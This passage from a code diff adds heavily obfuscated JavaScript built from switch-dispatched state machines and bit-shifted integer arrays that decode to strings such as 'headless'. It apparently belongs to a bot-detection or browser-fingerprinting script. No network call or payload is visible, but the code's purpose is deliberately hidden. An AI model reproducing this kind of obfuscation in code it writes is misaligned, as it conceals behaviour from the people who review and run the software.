_$nc; + _$Fe[_$$e](_$ar) + } + _$Tv.apply(_$Yr, _$jv); + break; + case 52: + _$Sv = _$Sv / _$Av[8]; + break; + case 53: + _$Pc = _$Ss; + break; + case 54: + for (_$Gc = 0; _$Gc < _$av.length; _$Gc++) { + _$Fe = _$cc; + _$$e = _$LC; + _$ar = _$av; + _$er = _$_C; + _$rr = _$ev; + _$cr = _$Gc; + _$vr = _$rr[_$cr]; + _$sr = _$ar[_$er](_$vr); + _$Fe[_$$e](_$sr) + } + break; + case 55: + _$ws = _$ds; + break; + case 56: + _$Ms = _$Bv.length; + break; + case 57: + for (_$Nc = 1; _$Nc < _$ms.length; _$Nc++) { + _$Fe = _$ms; + _$$e = _$OC; + _$ar = _$Nc; + _$er = _$Fe[_$$e](_$ar); + _$rr = _$Nv; + _$cr = _$OC; + _$vr = _$Nc; + _$sr = 1; + _$nr = _$vr - _$sr; + _$fr = _$rr[_$cr](_$nr); + _$tr = _$er - _$fr; + _$ir = _$bW(_$tr); + _$Nv += _$ir + } + break; + case 58: + _$qv = _$MW; + break; + case 59: + for (_$Zc = 0; _$Zc < _$sv.length; _$Zc++) { + _$Fe = _$Ur; + _$$e = _$sv; + _$ar = _$Zc; + _$er = _$$e[_$ar]; + _$rr = 11; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$Ur = _$sr + } + _$Tv.apply(_$Yr, _$jc); + break; + case 60: + _$zc = _$Zr; + _$Fc = 0; + break; + case 61: + _$Jc = []; + _$$c = [92, 57, 71, 84, 53, 112, 75, 12, 119, 62, 121, 125, 122, 105, 114, 8, 55, 33, 49, 66]; + break; + case 62: + _$GY = new Array; + break; + case 63: + _$av = _$la + _$q + _$X + _$H + _$ha + _$ea + _$J + _$G + _$na + _$O + _$L + _$oa + _$$ + _$Y + _$V + _$ia + _$P + _$_ + _$pa + _$fa + _$ca + _$aa + _$ta + _$sa + _$F + _$U + _$va + _$x + _$E + _$B + _$ra + _$ka + _$ba + _$Z + _$N + _$ua + _$z + _$R + _$ga; + _$ev = 1; + break; + case 64: + for (_$rv = 1; _$rv < _$Rr.length; _$rv++) { + _$Fe = _$Rr; + _$$e = _$OC; + _$ar = _$rv; + _$er = _$Fe[_$$e](_$ar); + _$rr = _$_r; + _$cr = _$OC; + _$vr = _$rv; + _$sr = 1; + _$nr = _$vr - _$sr; + _$fr = _$rr[_$cr](_$nr); + _$tr = _$er - _$fr; + _$ir = _$bW(_$tr); + _$_r += _$ir + } + break; + case 65: + _$ev = _$ev.p(_$av); + break; + case 66: + _$ds = _$ds.p(_$ws); + break; + case 67: + _$cv = _$qr; + _$vv = _$UC; + _$sv = 1; + break; + case 68: + _$nv = 0; + break; + case 69: + for (_$fv = 1; _$fv < _$Rv.length; _$fv++) { + _$Fe = _$Rv; + _$$e = _$OC; + _$ar = _$fv; + _$er = _$Fe[_$$e](_$ar); + _$rr = _$_v; + _$cr = _$OC; + _$vr = _$fv; + _$sr = 1; + _$nr = _$vr - _$sr; + _$fr = _$rr[_$cr](_$nr); + _$tr = _$er - _$fr; + _$ir = _$bW(_$tr); + _$_v += _$ir + } + break; + case 70: + _$Sv = _$Sv / _$Av[4]; + break; + case 71: + _$tv = _$Nv; + break; + case 72: + if (_$Av[8] - _$Av[5] > 0) { + _$Fe = _$Sv; + _$$e = _$Av; + _$ar = 4; + _$er = _$$e[_$ar]; + _$rr = _$Fe + _$er; + _$Sv = _$rr; + _$Fe = _$Sv; + _$$e = _$Av; + _$ar = 6; + _$er = _$$e[_$ar]; + _$rr = _$Fe + _$er; + _$cr = _$Av; + _$vr = 5; + _$sr = _$cr[_$vr]; + _$nr = _$rr - _$sr; + _$Sv = _$nr + } else { + _$Fe = _$Sv; + _$$e = _$Av; + _$ar = 0; + _$er = _$$e[_$ar]; + _$rr = _$Fe * _$er; + _$Sv = _$rr; + _$Fe = _$Sv; + _$$e = _$Av; + _$ar = 2; + _$er = _$$e[_$ar]; + _$rr = _$Fe - _$er; + _$Sv = _$rr + } + break; + case 73: + _$as = _$as + 1; + break; + case 74: + _$Sv = _$Sv + _$Av[6]; + break; + case 75: + if (_$Hv) { + _$Fe = 104; + _$$e = 101; + _$ar = 97; + _$er = 100; + _$rr = 108; + _$cr = 101; + _$vr = 115; + _$sr = 115; + _$nr = [_$Fe, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr]; + _$zr = _$nr + } else { + _$Fe = 104; + _$$e = 101; + _$ar = 97; + _$er = 100; + _$rr = 109; + _$cr = 111; + _$vr = 114; + _$sr = 101; + _$nr = [_$Fe, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr]; + _$zr = _$nr + } + break; + case 76: + _$Sv = _$Av[4] + _$Av[6]; + break; + case 77: + _$xY = new Array(_$Or.length); + break; + case 78: + _$sv = [112640, 204800, 204800, 208896]; + break; + case 79: + for (_$iv = 0; _$iv < 10; _$iv++) { + _$Fe = _$Av; + _$$e = _$LC; + _$ar = _$iv; + _$er = 6; + _$rr = _$ar + _$er; + _$Fe[_$$e](_$rr) + } + break; + case 80: + _$ev = _$av; + break; + case 81: + if (_$jW instanceof Array) { + _$Fe = _$YC; + _$ov = _$Fe; + _$$e = 1; + _$kv = _$$e; + _$Fe = _$kv; + _$$e = 1; + _$ar = _$Fe + _$$e; + _$kv = _$ar; + _$Fe = 1; + _$ov = _$Fe; + _$Fe = _$BC; + _$bv = _$Fe; + _$Fe = _$kv; + _$ov = _$Fe; + _$Fe = 942080; + _$$e = 917504; + _$ar = 884736; + _$er = 860160; + _$rr = 811008; + _$cr = 827392; + _$vr = [_$Fe, _$$e, _$ar, _$er, _$rr, _$cr]; + _$kv = _$vr; + for (_$lv = 0; _$lv < _$kv.length; _$lv++) { + _$Fe = _$bv; + _$$e = _$kv; + _$ar = _$lv; + _$er = _$$e[_$ar]; + _$rr = 13; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$bv = _$sr + } + _$Fe = _$kv; + _$$e = _$LC; + _$ar = _$ov; + _$er = _$Fe[_$$e](_$ar); + _$kv = _$er; + _$Fe = _$jW; + _$$e = _$bv; + _$ar = 0; + _$er = _$jW; + _$rr = _$PC; + _$cr = _$er[_$rr]; + _$Fe[_$$e](_$ar, _$cr) + } else { + _$Fe = Array; + _$$e = new _$Fe; + _$jW = _$$e + } + break; + case 82: + for (_$hv = 0; _$hv < _$zv.length; ) { + _$Fe = _$Iv; + _$$e = _$_C; + _$ar = _$zv; + _$er = _$_C; + _$rr = _$hv; + _$cr = _$ar[_$er](_$rr); + _$vr = _$OC; + _$sr = _$cr[_$vr](); + _$nr = 32; + _$fr = _$sr - _$nr; + _$tr = _$Fe[_$$e](_$fr); + _$gv = _$tr; + _$ir = _$Iv; + _$or = _$_C; + _$kr = _$zv; + _$br = _$_C; + _$lr = _$hv; + _$hr = 1; + _$gr = _$lr + _$hr; + _$ur = _$kr[_$br](_$gr); + _$pr = _$OC; + _$yr = _$ur[_$pr](); + _$wr = 32; + _$dr = _$yr - _$wr; + _$Mr = _$ir[_$or](_$dr); + _$uv = _$Mr; + _$Fe = _$Ev; + _$$e = _$gv; + _$ar = _$uv; + _$Fe[_$$e] = _$ar; + _$Fe = _$hv; + _$$e = 2; + _$ar = _$Fe + _$$e; + _$hv = _$ar + } + break; + case 83: + for (_$pv = 0, + _$yv = _$xY.length; _$pv < _$yv; _$pv++) { + _$Fe = _$xY; + _$$e = _$pv; + _$ar = _$Fe[_$$e]; + _$er = _$bW(_$ar); + _$Nr += _$er + } + break; + case 84: + for (_$wv = 0; _$wv < _$As.length; ) { + _$Fe = _$tv; + _$$e = _$_C; + _$ar = _$As; + _$er = _$_C; + _$rr = _$wv; + _$cr = _$ar[_$er](_$rr); + _$vr = _$OC; + _$sr = _$cr[_$vr](); + _$nr = 32; + _$fr = _$sr - _$nr; + _$tr = _$Fe[_$$e](_$fr); + _$dv = _$tr; + _$ir = _$tv; + _$or = _$_C; + _$kr = _$As; + _$br = _$_C; + _$lr = _$wv; + _$hr = 1; + _$gr = _$lr + _$hr; + _$ur = _$kr[_$br](_$gr); + _$pr = _$OC; + _$yr = _$ur[_$pr](); + _$wr = 32; + _$dr = _$yr - _$wr; + _$Mr = _$ir[_$or](_$dr); + _$Mv = _$Mr; + _$Fe = _$Ss; + _$$e = _$dv; + _$ar = _$Mv; + _$Fe[_$$e] = _$ar; + _$Fe = _$wv; + _$$e = 2; + _$ar = _$Fe + _$$e; + _$wv = _$ar + } + break; + case 85: + _$Iv = _$_v; + break; + case 86: + _$Av = []; + break; + case 87: + _$xv = _$nv; + break; + case 88: + for (_$mv = 0; _$mv < _$Or.length; _$mv++) { + _$Fe = _$xY; + _$$e = _$mv; + _$ar = _$cv; + _$er = _$Or; + _$rr = _$_C; + _$cr = _$mv; + _$vr = _$er[_$rr](_$cr); + _$sr = _$ar[_$vr]; + _$nr = _$OC; + _$fr = 0; + _$tr = _$sr[_$nr](_$fr); + _$Fe[_$$e] = _$tr + } + break; + case 89: + _$$v = 1; + _$Tv = _$Yr.p; + _$jv = [65, 13, 29, 90, 106, 107, 67, 39, 45, 21, 1, 102, 78, 59, 18, 111, 2, 77, 40, 88]; + break; + case 90: + for (_$Cv = 1; _$Cv < _$Hr.length; _$Cv++) { + _$Fe = _$Hr; + _$$e = _$OC; + _$ar = _$Cv; + _$er = _$Fe[_$$e](_$ar); + _$rr = _$xr; + _$cr = _$OC; + _$vr = _$Cv; + _$sr = 1; + _$nr = _$vr - _$sr; + _$fr = _$rr[_$cr](_$nr); + _$tr = _$er - _$fr; + _$ir = _$bW(_$tr); + _$xr += _$ir + } + break; + case 91: + for (_$Dv = 0; _$Dv < 24; _$Dv++) { + _$Fe = _$WC; + _$Kv = _$Fe; + _$$e = 1; + _$Qv = _$$e; + _$Fe = _$Qv; + _$$e = 1; + _$ar = _$Fe + _$$e; + _$Qv = _$ar; + _$Fe = 1; + _$Kv = _$Fe; + _$Fe = _$BC; + _$Wv = _$Fe; + _$Fe = _$Qv; + _$Kv = _$Fe; + _$Fe = 1671168; + _$$e = 1769472; + _$ar = 1818624; + _$er = 1818624; + _$rr = 1867776; + _$cr = [_$Fe, _$$e, _$ar, _$er, _$rr]; + _$Qv = _$cr; + for (_$Yv = 0; _$Yv < _$Qv.length; _$Yv++) { + _$Fe = _$Wv; + _$$e = _$Qv; + _$ar = _$Yv; + _$er = _$$e[_$ar]; + _$rr = 14; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$Wv = _$sr + } + _$Fe = _$Qv; + _$$e = _$LC; + _$ar = _$Kv; + _$er = _$Fe[_$$e](_$ar); + _$Qv = _$er; + _$Fe = _$QC; + _$Uv = _$Fe; + _$$e = 1; + _$Ov = _$$e; + _$Fe = _$Ov; + _$$e = 1; + _$ar = _$Fe + _$$e; + _$Ov = _$ar; + _$Fe = 1; + _$Uv = _$Fe; + _$Fe = _$BC; + _$Pv = _$Fe; + _$Fe = _$Ov; + _$Uv = _$Fe; + _$Fe = 58368; + _$$e = 49664; + _$ar = 56320; + _$er = 51200; + _$rr = 56832; + _$cr = 55808; + _$vr = [_$Fe, _$$e, _$ar, _$er, _$rr, _$cr]; + _$Ov = _$vr; + for (_$Gv = 0; _$Gv < _$Ov.length; _$Gv++) { + _$Fe = _$Pv; + _$$e = _$Ov; + _$ar = _$Gv; + _$er = _$$e[_$ar]; + _$rr = 9; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$Pv = _$sr + } + _$Fe = _$Ov; + _$$e = _$LC; + _$ar = _$Uv; + _$er = _$Fe[_$$e](_$ar); + _$Ov = _$er; + _$Fe = _$Sc; + _$$e = _$_C; + _$ar = Math; + _$er = _$Wv; + _$rr = Math; + _$cr = _$Pv; + _$vr = _$rr[_$cr](); + _$sr = _$Sc; + _$nr = _$PC; + _$fr = _$sr[_$nr]; + _$tr = _$vr * _$fr; + _$ir = _$ar[_$er](_$tr); + _$or = _$Fe[_$$e](_$ir); + _$Ac = _$or; + _$Fe = _$XW; + _$$e = _$Dv; + _$ar = _$Ac; + _$er = _$OC; + _$rr = _$ar[_$er](); + _$Fe[_$$e] = _$rr + } + break; + case 92: + _$Nv = _$bW(_$ms.d(0) - _$ms.length); + break; + case 93: + _$as = _$as.p(_$$v); + break; + case 94: + for (_$Zv = 0; _$Zv < _$a.length; _$Zv++) { + _$Fe = _$Jc; + _$$e = _$LC; + _$ar = _$a; + _$er = _$_C; + _$rr = _$Zv; + _$cr = _$ar[_$er](_$rr); + _$vr = _$OC; + _$sr = _$cr[_$vr](); + _$nr = 128; + _$fr = _$sr ^ _$nr; + _$Fe[_$$e](_$fr) + } + break; + case 95: + _$zv = _$gs; + _$Ev = {}; + _$Rv = _$xa + _$Fa + _$j + _$y + _$A + _$I + _$Q + _$W + _$w + _$m + _$C + _$D + _$S + _$M + _$d + _$T + _$K + _$re + _$ae; + _$_v = _$bW(_$Rv.d(0) - _$Rv.length); + break; + case 96: + for (_$Lv = 0; _$Lv < _$as.length; _$Lv++) { + _$Fe = _$gs; + _$$e = _$as; + _$ar = _$Lv; + _$er = _$$e[_$ar]; + _$rr = 15; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$gs = _$sr + } + break; + case 97: + for (_$Vv = 1; _$Vv < _$Pr.length; _$Vv++) { + _$Fe = _$Pr; + _$$e = _$OC; + _$ar = _$Vv; + _$er = _$Fe[_$$e](_$ar); + _$rr = _$Gr; + _$cr = _$OC; + _$vr = _$Vv; + _$sr = 1; + _$nr = _$vr - _$sr; + _$fr = _$rr[_$cr](_$nr); + _$tr = _$er - _$fr; + _$ir = _$bW(_$tr); + _$Gr += _$ir + } + break; + case 98: + _$as = [1048576, 2490368, 1081344, 3211264, 1114112, 2916352, 1146880, 1310720, 1179648, 3735552, 1212416, 2457600, 1245184, 3276800, 1277952, 3637248, 1310720, 3833856, 1343488, 3571712, 4128768, 1277952, 1376256, 1146880, 1409024, 3964928, 1441792, 2883584, 1474560, 2719744, 1507328, 2555904, 1540096, 2392064, 1572864, 1048576, 1605632, 2981888, 1638400, 2752512, 1671168, 1703936, 1703936, 3997696, 1736704, 2260992, 1769472, 2293760, 1802240, 3899392, 1835008, 2064384, 1867776, 1671168, 1900544, 2195456, 1933312, 4030464, 1966080, 3342336, 1998848, 3014656, 2031616, 3244032, 2064384, 3866624, 2097152, 1212416, 2129920, 2228224, 2162688, 4096e3, 2195456, 3080192, 2228224, 3670016, 2260992, 3440640, 2293760, 2654208, 2326528, 2686976, 2359296, 4128768, 2392064, 1867776, 2424832, 3932160, 2457600, 2326528, 2490368, 1376256, 2523136, 1605632, 2555904, 3047424, 2588672, 2949120, 2621440, 1933312, 2654208, 2424832, 2686976, 2162688, 2719744, 1474560, 2752512, 2588672, 2785280, 3112960, 2818048, 3178496, 2850816, 1966080, 2883584, 1769472, 2916352, 3801088, 2949120, 1736704, 2981888, 4063232, 3014656, 1179648, 3047424, 1638400, 3080192, 3702784, 3112960, 2359296, 3145728, 3538944, 3178496, 2818048, 3211264, 1835008, 3244032, 3407872, 3276800, 1343488, 3309568, 1081344, 3342336, 3375104, 3375104, 1114112, 3407872, 2785280, 3440640, 3473408, 3473408, 1409024, 3506176, 1802240, 3538944, 2850816, 3571712, 3145728, 3604480, 2523136, 3637248, 1540096, 3670016, 2097152, 3702784, 3506176, 3735552, 1507328, 3768320, 1572864, 3801088, 2621440, 3833856, 1245184, 3866624, 1998848, 3899392, 2031616, 3932160, 2129920, 3964928, 1441792, 3997696, 1900544, 4030464, 3604480, 4063232, 3309568, 4096e3, 3768320]; + break; + case 99: + _$$v = _$KC; + _$as = 1; + break; + case 100: + _$Sv = _$Sv + _$Av[8]; + break; + case 101: + _$$v = _$as; + break; + case 102: + _$vv = _$sv; + break; + case 103: + _$XW = new Array(_$Ts); + _$es = [42, 47, 110, 61, 26, 94, 129, 127, 56, 17, 58, 43, 3, 97, 7, 130, 10, 64, 128, 72]; + break; + case 104: + _$av = _$ev; + break; + case 105: + _$Sv = _$Sv - _$Av[2]; + break; + case 106: + _$rs = _$xr; + break; + case 107: + for (_$cs = 0; _$cs < _$Vr.length; ) { + _$Fe = _$rs; + _$$e = _$_C; + _$ar = _$Vr; + _$er = _$_C; + _$rr = _$cs; + _$cr = _$ar[_$er](_$rr); + _$vr = _$OC; + _$sr = _$cr[_$vr](); + _$nr = 32; + _$fr = _$sr - _$nr; + _$tr = _$Fe[_$$e](_$fr); + _$vs = _$tr; + _$ir = _$rs; + _$or = _$_C; + _$kr = _$Vr; + _$br = _$_C; + _$lr = _$cs; + _$hr = 1; + _$gr = _$lr + _$hr; + _$ur = _$kr[_$br](_$gr); + _$pr = _$OC; + _$yr = _$ur[_$pr](); + _$wr = 32; + _$dr = _$yr - _$wr; + _$Mr = _$ir[_$or](_$dr); + _$ss = _$Mr; + _$Fe = _$qr; + _$$e = _$vs; + _$ar = _$ss; + _$Fe[_$$e] = _$ar; + _$Fe = _$cs; + _$$e = 2; + _$ar = _$Fe + _$$e; + _$cs = _$ar + } + break; + case 108: + _$Xc = _$xc[_$Bc++] - _$xc[_$Bc++]; + break; + case 109: + _$ns = _$BC; + break; + case 110: + for (_$fs = 0; _$fs < _$XW.length; _$fs++) { + _$Fe = _$fs; + _$$e = _$mc; + _$ar = _$Fe % _$$e; + _$Tc = _$ar; + _$Fe = _$XW; + _$$e = _$fs; + _$ar = _$XW; + _$er = _$fs; + _$rr = _$ar[_$er]; + _$cr = _$Bv; + _$vr = _$Tc; + _$sr = _$cr[_$vr]; + _$nr = _$rr ^ _$sr; + _$Fe[_$$e] = _$nr + } + break; + case 111: + _$Sv = _$Sv - _$Av[6]; + break; + case 112: + _$Av[4] = _$Sv - _$Av[5]; + _$ts = [52, 60, 11, 28, 27, 14, 30, 16, 109, 4, 120, 124, 5, 32, 9, 34, 25, 108, 123, 126]; + break; + case 113: + for (_$is = 0; _$is < _$ec.length; _$is++) { + _$Fe = _$Br; + _$$e = _$ec; + _$ar = _$is; + _$er = _$$e[_$ar]; + _$rr = 13; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$Br = _$sr + } + break; + case 114: + _$ws = 1; + break; + case 115: + try { + _$Fe = _$DC; + _$os = _$Fe; + _$$e = 1; + _$ks = _$$e; + _$Fe = _$ks; + _$$e = 1; + _$ar = _$Fe + _$$e; + _$ks = _$ar; + _$Fe = 1; + _$os = _$Fe; + _$Fe = _$BC; + _$bs = _$Fe; + _$Fe = _$ks; + _$os = _$Fe; + _$Fe = 339968; + _$$e = 454656; + _$ar = 479232; + _$er = 466944; + _$rr = 405504; + _$cr = 413696; + _$vr = 270336; + _$sr = 479232; + _$nr = 417792; + _$fr = 417792; + _$tr = 413696; + _$ir = 466944; + _$or = [_$Fe, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir]; + _$ks = _$or; + for (_$ls = 0; _$ls < _$ks.length; _$ls++) { + _$Fe = _$bs; + _$$e = _$ks; + _$ar = _$ls; + _$er = _$$e[_$ar]; + _$rr = 12; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$bs = _$sr + } + _$Fe = _$ks; + _$$e = _$LC; + _$ar = _$os; + _$er = _$Fe[_$$e](_$ar); + _$ks = _$er; + _$Fe = _$yW; + _$$e = _$bs; + _$ar = _$Fe[_$$e]; + _$hs = _$ar + } catch (_$a) {} + break; + case 116: + _$ec = _$ec + 1; + break; + case 117: + if (_$Sv - _$Av[6]) { + _$Fe = _$Sv; + _$$e = _$Av; + _$ar = 3; + _$er = _$$e[_$ar]; + _$rr = _$Fe + _$er; + _$Sv = _$rr + } + break; + case 118: + _$gs = _$BC; + break; + case 119: + try { + _$Fe = Thread; + _$us = _$Fe + } catch (_$a) { + _$Fe = _$CC; + _$Lr = _$Fe + } + break; + case 120: + _$$r = [1703936, 3997696, 3375104, 2686976, 3604480, 2818048, 2392064, 3637248, 2588672, 1835008, 3178496, 1507328, 1605632, 3473408, 3309568, 3866624, 2654208, 2883584, 1998848, 2785280, 3801088, 2064384, 2326528, 3440640, 3833856, 3768320, 2916352, 3899392, 2490368, 2162688, 2949120, 2195456, 3276800, 3342336, 2359296, 2424832, 3211264, 3571712, 3538944, 3932160, 2129920, 1867776, 1802240, 3506176, 3735552, 2097152, 3244032, 3112960, 2621440, 2719744, 2457600, 3702784, 2293760, 3407872, 3047424, 1572864, 1638400, 1736704, 2228224, 1540096, 2752512, 1671168, 1769472, 3670016, 2523136, 2850816, 2555904, 2260992, 3964928]; + break; + case 121: + for (_$ps = 0; _$ps < _$zr.length; _$ps++) { + _$Fe = _$GY; + _$$e = _$LC; + _$ar = _$Pc; + _$er = _$zr; + _$rr = _$ps; + _$cr = _$er[_$rr]; + _$vr = _$bW(_$cr); + _$sr = _$ar[_$vr]; + _$nr = _$OC; + _$fr = _$sr[_$nr](); + _$Fe[_$$e](_$fr) + } + break; + case 122: + _$ds = _$ds + 1; + break; + case 123: + _$zc = _$zc + _$e; + break; + case 124: + for (_$ys = 0; _$ys < _$$r.length; _$ys++) { + _$Fe = _$ns; + _$$e = _$$r; + _$ar = _$ys; + _$er = _$$e[_$ar]; + _$rr = 15; + _$cr = _$er >> _$rr; + _$vr = _$bW(_$cr); + _$sr = _$Fe + _$vr; + _$ns = _$sr + } + break; + case 125: + _$ws = _$jC; + _$ds = 1; + break; + case 126: + if (_$Fc === _$Xc) { + for (_$xc = 0; _$xc < _$zc.length; _$xc++) { + _$Fe = _$zc; + _$$e = _$_C; + _$ar = _$xc; + _$er = _$Fe[_$$e](_$ar); + _$Ec = _$er; + _$Fe = _$Ec; + _$$e = _$OC; + _$ar = _$Fe[_$$e](); + _$er = _$rc; + _$rr = _$PC; + _$cr = _$er[_$rr]; + _$vr = _$ar % _$cr; + _$Rc = _$vr; + _$Fe = _$rc; + _$$e = _$_C; + _$ar = _$Rc; + _$er = _$Fe[_$$e](_$ar); + _$_c = _$er; + _$Fe = _$SY; + _$$e = _$xc; + _$ar = _$_c; + _$er = _$OC; + _$rr = _$ar[_$er](); + _$Fe[_$$e] = _$rr + } + } else { + _$Fe = 15863466; + _$$e = 50338844; + _$ar = 42520273; + _$er = 49136125; + _$rr = 59388850; + _$cr = 75880704; + _$vr = 49777150; + _$sr = 25132679; + _$nr = [_$Fe, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr]; + _$Lc = _$nr; + for (_$xc = 0; _$xc < _$Lc.length; _$xc++) { + _$Fe = _$Lc; + _$$e = _$xc; + _$ar = _$Fe[_$$e]; + _$er = _$rc; + _$rr = _$PC; + _$cr = _$er[_$rr]; + _$vr = _$ar % _$cr; + _$Vc = _$vr; + _$Fe = _$rc; + _$$e = _$_C; + _$ar = _$Vc; + _$er = _$Fe[_$$e](_$ar); + _$qc = _$er; + _$Fe = _$dW; + _$$e = _$xc; + _$ar = _$qc; + _$er = _$OC; + _$rr = _$ar[_$er](); + _$Fe[_$$e] = _$rr + } + } + return; + case 127: + break; + case 128: + _$As = _$_r; + _$Ss = {}; + _$ms = _$u + _$v + _$r + _$s + _$y + _$A + _$p + _$t + _$f + _$o + _$fe + _$b + _$i + _$n + _$c + _$ee + _$g + _$k + _$l + _$h + _$ae; + break; + case 129: + _$ZY = _$Jc; + break; + case 130: + _$Hv = _$Hv ^ 1; + _$Tv.apply(_$Yr, _$$c); + break; + case 131: + _$ec = [794624, 802816, 811008, 819200, 827392, 835584, 843776, 851968, 860160, 868352, 876544, 884736, 892928, 901120, 909312, 917504, 925696, 933888, 942080, 950272, 958464, 966656, 974848, 983040, 991232, 999424, 532480, 540672, 548864, 557056, 565248, 573440, 581632, 589824, 598016, 606208, 614400, 622592, 630784, 638976, 647168, 655360, 663552, 671744, 679936, 688128, 696320, 704512, 712704, 720896, 729088, 737280, 393216, 401408, 409600, 417792, 425984, 434176, 442368, 450560, 458752, 466944]; + break; + case 132: + _$Ts = 24; + break; + case 133: + _$fc = _$Nr; + break + } + } + } + function _$eU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S; + _$a = 0; + _$e = _$a; + _$r = 8; + _$c = 17; + _$v = 11; + _$s = 7; + _$n = 13; + _$f = 6; + _$t = 3; + _$i = 5; + _$o = 21; + _$k = 14; + _$b = [_$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k]; + _$l = _$b; + while (!![]) { + switch (_$l[_$e++]) { + case 1: + _$u = _$u.p(_$g); + break; + case 2: + _$g = _$u; + break; + case 3: + if (_$y + _$w > 0) { + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$a - _$r; + _$w = _$c + } + break; + case 4: + if (!_$y) { + _$a = _$w; + _$r = 2; + _$c = _$y; + _$v = _$r + _$c; + _$s = _$p; + _$n = _$v - _$s; + _$f = _$a << _$n; + _$w = _$f + } + break; + case 5: + _$h = _$BC; + break; + case 6: + if (_$p + _$y + _$p > 0) { + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f; + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c + } + _$I.apply(_$l, _$A); + break; + case 7: + _$y = -5; + break; + case 8: + _$g = _$TC; + _$u = 1; + _$p = 1; + _$y = -1; + _$w = 2; + _$d = 0; + break; + case 9: + if (_$y + _$w > 0) { + _$a = _$w; + _$r = 2; + _$c = _$a << _$r; + _$w = _$c; + _$a = _$w; + _$r = _$d; + _$c = _$d; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f; + _$a = _$y; + _$r = _$d; + _$c = _$a / _$r; + _$d = _$c + } + break; + case 10: + return _$h; + case 11: + _$u = _$u + 1; + case 12: + if (_$p && !_$y) { + _$a = _$w; + _$r = 3; + _$c = _$a % _$r; + _$d = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c + } + break; + case 13: + _$g = 1; + break; + case 14: + if (_$w < 0) { + _$a = _$y; + _$r = _$p; + _$c = _$d; + _$v = _$r / _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$w = _$f + } + break; + case 15: + if (!_$p) { + _$a = 5; + _$r = _$w; + _$c = _$a + _$r; + _$v = 3; + _$s = _$c >> _$v; + _$p = _$s + } + break; + case 16: + if (_$y + _$d > 0) { + _$a = _$w; + _$r = 4; + _$c = _$y; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = 3; + _$f = _$y; + _$t = _$n * _$f; + _$i = _$w; + _$o = _$t + _$i; + _$k = _$s >> _$o; + _$b = 2; + _$M = _$k << _$b; + _$d = _$M + } + break; + case 17: + if (_$p + _$y > 0) { + _$a = _$w; + _$r = 3; + _$c = _$a >> _$r; + _$d = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$a + _$r; + _$d = _$c; + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r * _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f; + _$a = _$y; + _$r = _$d; + _$c = _$a / _$r; + _$d = _$c + } + _$I = _$l.p; + _$A = [2, 19, 9, 18, 4, 15, 20, 16, 1, 10]; + break; + case 18: + _$u = [208896, 239616, 225280, 202752, 237568, 215040, 227328, 225280]; + break; + case 19: + if (_$w + _$d < 0) { + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r * _$c; + _$s = _$a << _$v; + _$n = _$p; + _$f = _$s >> _$n; + _$y = _$f + } + break; + case 20: + for (_$S = 0; _$S < _$u.length; _$S++) { + _$a = _$h; + _$r = _$u; + _$c = _$S; + _$v = _$r[_$c]; + _$s = 11; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$h = _$t + } + break; + case 21: + if (_$p + _$d < _$y) { + _$a = _$p; + _$r = _$w; + _$c = _$d; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$p; + _$f = _$y; + _$t = _$n - _$f; + _$i = _$s >> _$t; + _$o = _$d; + _$k = _$i >> _$o; + _$d = _$k + } + break + } + } + } + function _$rU() { + var _$a = _$mC; + var _$e = _$SC; + var _$r = _$AC; + var _$c = _$IC; + var _$v = _$MC; + var _$s = _$dC; + var _$n = _$wC; + var _$f = _$yC; + var _$t = _$uK; + var _$i = _$pC; + var _$o = _$uC; + var _$k = _$wK; + var _$b = _$dK; + var _$l = _$gC; + var _$h = _$hC; + var _$g = _$lC; + var _$u = _$bC; + var _$p = _$kC; + var _$y = _$oC; + var _$w = _$iC; + var _$d = _$tC; + var _$M = _$fC; + var _$I = _$nC; + var _$A = _$sC; + var _$S = _$vC; + var _$m = _$cC; + var _$T = _$rC; + var _$j = _$eC; + var _$C = _$aC; + var _$D = _$$j; + var _$K = _$Jj; + var _$Q = _$Fj; + var _$W = _$Xj; + var _$Y = _$Bj; + var _$U = _$xj; + var _$O = _$Hj; + var _$P = _$qj; + var _$G = _$Vj; + var _$N = _$Lj; + var _$Z = _$IK; + var _$z = _$_j; + var _$E = _$Rj; + var _$R = _$Ej; + var _$_ = _$zj; + var _$L = _$Zj; + var _$V = _$Nj; + var _$q = _$Gj; + var _$H = _$Pj; + var _$x = _$Oj; + var 